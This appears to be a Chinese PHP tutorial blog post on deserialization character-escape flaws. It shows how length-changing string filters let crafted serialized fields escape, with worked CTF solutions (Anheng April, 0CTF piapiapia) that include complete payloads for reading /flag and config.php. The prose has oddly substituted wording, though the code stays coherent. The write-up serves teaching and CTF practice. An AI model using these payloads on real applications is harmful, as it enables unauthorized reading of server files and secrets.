首页 » PHP教程 » phpchr反技巧_细说php反序列化字符逃逸

phpchr反技巧_细说php反序列化字符逃逸

访客 2024-11-29 0

扫一扫用手机浏览

文章目录 [+]

本文涉及的实操——实验:PHP反序列化漏洞实验(合天网安实验室)https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=toutiao-wemedia

通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

phpchr反技巧_细说php反序列化字符逃逸

序言

php反序列化的字符逃逸算是比较难明得的一个知识点,在最近的好几场比赛中都涌现了干系的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。

phpchr反技巧_细说php反序列化字符逃逸
(图片来自网络侵删)
根本知识理解

字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种事理之后会变得特殊随意马虎。

在SQL注入中,我们常用'、"来对注入点进行一些闭合或者一些试探,从而进行各种姿势的注入,反序列化时,序列化的值因此;作为字段的分隔,在结尾因此}结束,我们轻微理解一下,

<?php class people{ public $name = 'Tom'; public $sex = 'boy'; public $age = '12'; } $a = new people(); print_r(serialize($a));O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}

反序列化的过程便是碰到;}与最前面的{配对后,便停滞反序列化。
我们可以将上面的序列化的值稍作改变:

O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123

可以看到,并没有报错,而且也顺利将这个工具反序列化出来了,恰好解释了我们以上所说的闭合的问题,与此同时,修正一些序列化出来的值可以反序列化出我们所知道的工具中里没有的值,在学习绕过__wakeup就能过知道了,这里可以自己去做一些考试测验,去理解。

接下来便是要说到报错的时候了,当你的字符串长度与所描述的长度不一样时,便会报错,比如上图中s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"便会报错,为的便是办理这种报错,以是在字符逃逸等分为两类:

字符变多字符减少

关键字符增多

在题目中,每每对一些关键字会进行一些过滤,利用的手段常日更换关键字,使得一些关键字增多,大略认识一下,正常序列化查当作果

这里,我们对序列化后的字符串进行了更换,使得后来的反序列化报错,那我们就须要在Tom这里面的字符串做手脚,在username之后只有一个age,以是在双引号里面可以布局我须要的username之后参数的值,这里修正age的值,我们这里将Tom更换为Tom";s:3:"age";s:2:"35";}然后进行反序列化,这里指的是在对username传参的时候进行修正,也便是我们写链子的时候进行的操作

可以看到布局出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的该当便是s:25:"Toom"我们要做的便是让这个双引号里面的字符串在过滤更换之后真的有描述的这么长,让他不要报错,再合营反序列化的特点,(反序列化的过程便是碰到;}与最前面的{配对后,便停滞反序列化)闭合后忽略后面的age:13的字符串成功使得age被修正为35。

而age的修正须要前面的字符串username的值长度与描述的一样,这须要我们精确的打算,这里是将一个o变成两个,以下就只写o不写Tom,效果同等,我们须要知道我们除了双引号以内的,所布局的字符串长度为多少,即";s:3:"age";s:2:"35";}的长度22,那就须要22个o,

总的来说便是22个o加上后面的字符串长度22,总长度就为44,在被过滤更换后,光o就有44个,符合描述的字符串长度。
下面就解释(为什么叫做逃逸)

这里特意写了"将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了";s:3:"age";s:2:"35";}。

反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不足所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在统统吞噬结束之后,序列化出来的字符串如果不知足反序列化的字符串的格式,就会报错。
我们这里是他吞噬结束后,还知足这个格式,以是不报错。

在这个例子中,我们利用他对序列化后的值,进行增加字符串长度的过滤,让他添补双引号内的字符串达到所描述的44这么长,使得后面的s:3:"age";s:2:"35";不被吞噬,让这部分代码逃逸出吞噬,又让他提前碰着}忽略后面的一些不须要的字符串,结束反序列化。

可以看到,我们布局的payload是成功修正了age,这里是数组,在对工具操作时也是一样的。

刚刚说到吞噬,在增加字符串的题目中,我们是利用题中的增加操作,阻挡他进行向后吞噬我们布局的代码,而在字符减少的过程中,我们也是利用这个操作。

关键字符减少

有了前面”吞噬“的一种阐明,那么字符串减少就很好说了 ,同样的也是由于更换的问题,使得参数可以让我们布局payload

这里的缺点是由于s:5:"zddo"长度不足,他向后吞噬了一个双引号,导致反序列化格式缺点,从而报错,我们要做的便是让他今后去吞噬一些我们布局的一些代码。
以下将详细履行。

同样的,我们这里以修正age为例,不同的是与增加字符串传值的地方有些许不同,我们布局的值是有一部分让他吞噬的

先正常通报值序列化出我们须要修正的值,我们须要的是将age:13改为35

取出";s:3:"age";s:2:"35";}这便是我们须要布局的,接着连续将这部分内容重新传播,序列化出来,得到下面的结果

选中部分便是我们布局出来,他须要吞噬的代码,s:22:""这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着便是打算我们自己所须要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也便是每吃掉一个字符,就须要有一个oo,那我们须要吃掉的是18个长度,那么我们就须要18个oo,在吞噬结束之后我们的格式又规复精确,使得真正的字符s:3:"age";s:2:"35";逃逸出来,成功加入反序列化

这便是我们终极的payload,可以看到下图成功修正了

例题

有了以上根本,就可以做题了,大略的开始入手

安恒四月(字符减少)

<?phpshow_source("index.php");function write($data) { return str_replace(chr(0) . '' . chr(0), '\0\0\0', $data);}function read($data) { return str_replace('\0\0\0', chr(0) . '' . chr(0), $data);}class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; }}class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; }}class C{ public $c; function __toString(){ echo file_get_contents($this->c); return 'nice'; }}$a = new A($_GET['a'],$_GET['b']);//省略了存储序列化数据的过程,下面是取出来并反序列化的操作$b = unserialize(read(write(serialize($a))));

看到上面的代码,很明显,我们须要利用file_get_contents();读取文件,将flag读取出来,但是他是个__toString()方法,我们就要让他触发这个方法,当反序列化出工具后,被当作字符串利用时,就可以触发,那我们就须要写一个链,与此同时我们也要知道字符串被删减了几个字符

function write($data) { return str_replace(chr(0) . '' . chr(0), '\0\0\0', $data);}function read($data) { return str_replace('\0\0\0', chr(0) . '' . chr(0), $data);}

看这一部分即可理解到,如果创造不可见字符不可见字符,字符串就会增多,接着又将\0\0\0的6个字符变成3个字符不可见字符不可见字符,我们自己是不会去写入不可见字符的在这道题中,相反可以故意写入\0\0\0使得字符串减少,通过打算逃逸字符,读取flag文件

题目中序列化的是工具$a,里面有两个参数,username和password,我们要传入的也是这两个参数的值,以是我们布局的payload,该当是往password传我们布局好的字符,而在username传入的为打算好的\0\0\0个数,

按照流程来,先写一个链子,某些参数先随便写

";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}

选中部分便是我们须要重新传参的地方,我们传进password,再次序列化看看效果

我所选择的地方便是须要被吞噬的部分,然后才能使得后边的代码全部逃逸,长度为23,打算后创造须要8个\0\0\0,但8个这样的符号会吞噬24个字符,因此我们可以在s:70:""双引号里面可以随意补一个字符让它吞噬。

因此我们终极在password里面传参的该当是:

i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}

而在username中传的便是8个\0\0\0:

\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

终极payload:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=i";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:5:"/flag";}}}

0CTF piapiapia(字符增加)

扫描目录创造www.zip,下载后开始,审计源码

我们根据他的网页一步步看源码,首先他要我们上岸,我们先注册一个账号进行上岸

看到上图的界面,这时我们看到update.php,都是一些对参数的白名单按哀求写即可,图片也随便传一个符合大小的即可,但是把稳nickname是我们要操作的地方,稍后讲解,然后有个序列化数组的过程

$user->update_profile($username, serialize($profile));

在上传成功后,他会到profile.php,我们看到profile.php,有这么一段东西

$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));

这里见告我们,他反序列化的是profile这个数组序列化后的值,读取的是键名为photo里面的文件名,而flag在config.php也便是说我们须要布局的便是数组中$profile['photo']='config.php'

那么若何才能让他读这个config.php呢

我们看到class.php,看到父类mysql中:

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

创造序列化的值他会通报给user中的方法update_profile,接着update_profile又将这个值通报给了父类方法filter,显而易见,便是一种过滤,防止sql注入,但是可以创造,他因此更换的办法给返回值,在过滤的字符串中,只有where变成hacker,由5个字符变成6个,所以是字符增加的逃逸办法,接着开始布局

选择部分是须要传入的,在phone和email都是白名单,传入的格式受限定,只有nickname是黑名单,以是我们要绕过这个黑名单,bp抓包

他利用的是strlen()以是这里有个办法,这个函数如果参数是字符串,那么数出来的便是字符串个数,如果是数组,那么数出来的便是数组元素的个数

将nickname改成nickname[]然后传参

传的参数我们须要布局,须要打算,上面剖析了我们须要布局的字符串";}s:5:"photo";s:10:"config.php";},但是他是字符增多,我们就须要知道须要逃逸的字符有多少个,打算了一下为34个,(这里由于改为了数组,而数组的序列化格式结束后是一个大括号,以是我们在一开始的”;后面增加了一个花括号)以是须要34个where帮助我们逃逸这部分代码,上传成功,根据这个修正放包即可

返回网页点击

之后可以看到一张显示不出来的图片,由于利用base64编码了,右击查看图片信息

解码即可看到flag

相关文章

台州网站SEO运营,步骤布局与优化方法介绍

在互联网信息爆炸的今天,网站SEO(搜索引擎优化)已经成为企业提升网络曝光度和竞争力的重要手段。作为浙江省重要的沿海城市,台州拥有...

PHP教程 2025-03-31 阅读1 评论0